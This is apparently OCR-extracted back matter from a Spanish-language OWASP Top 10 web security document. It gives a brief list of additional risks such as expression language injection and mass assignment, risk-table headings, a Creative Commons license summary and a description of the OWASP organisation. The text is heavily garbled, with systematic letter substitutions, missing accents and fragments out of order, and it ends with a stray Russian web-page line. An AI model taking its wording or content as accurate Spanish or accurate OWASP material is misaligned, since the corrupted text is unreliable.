- lnyeccln de expreslones de lengua[e (CWL-917)
- rlvacldad de usuarlo
- 8eglsLro y responsabllldad lnsuclenLes (8elaclonado al 1C 10 del 2007 - LnLrada A6)
- vulnerabllldad de aslgnacln maslva (CWL-913)
reva|ecenc|a Detectab|||dad Lxp|otab|||dad Impacto
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
LCS lCCnCS MS A8A!C 8L8LSLn1An C18AS vL8SlCnLS
ulSCnl8LLS uL LS1L Ll88C.

ALlA: un llbro de calldad A|fa es un borrador de Lraba[o.
La mayor parLe del conLenldo se encuenLra en bruLo
y en desarrollo hasLa el prxlmo nlvel de publlcacln.

8L1A: un llbro de calldad 8eta es el prxlmo nlvel de calldad.
Ll conLenldo se encuenLra Lodavla en desarrollo hasLa la
prxlma publlcacln.

llnAL: un llbro de calldad I|na| es el nlvel ms alLo de calldad,
y es el producLo nallzado.

coplar, dlsLrlbulr y e[ecuLar publlcamenLe la
obra


hacer obras derlvadas




8econoclmlenLo uebe reconocer los
credlLos de la obra de la manera
especlcada por el auLor o el llcenclanLe
(pero no de una manera que suglera que
uene su apoyo o apoyan el uso que hace de
su obra).

Comparur ba[o la mlsma llcencla Sl
alLera o Lransforma esLa obra, o genera una
obra derlvada, slo puede dlsLrlbulr la obra
generada ba[o una llcencla ldenuca a esLa.
ALlA 8L1A llnAL
uS1Lu LS Ll88L uL:
8A!C LAS SlCulLn1LS CCnulClCnLS:
Ll proyecLo ablerLo de segurldad en apllcaclones Web (CWAS por sus slglas en lngles) es una
comunldad ablerLa y llbre de nlvel mundlal enfocada en me[orara la segurldad en las
apllcaclones de soware. nuesLra mlsln es hacer la segurldad en apllcaclones "vlslble", de
manera que las organlzaclones pueden hacer declslones lnformadas sobre los rlesgos en la
segurldad de apllcaclones. 1odo mundo es llbre de paruclpar en CWAS y en Lodos los
maLerlales dlsponlbles ba[o una llcencla de soware llbre y ablerLo. La fundacln CWAS es
una organlzacln sln nlmo de lucro 301c3 que asegura la dlsponlbllldad y apoyo permanenLe
para nuesLro Lraba[o.

Вам также может понравиться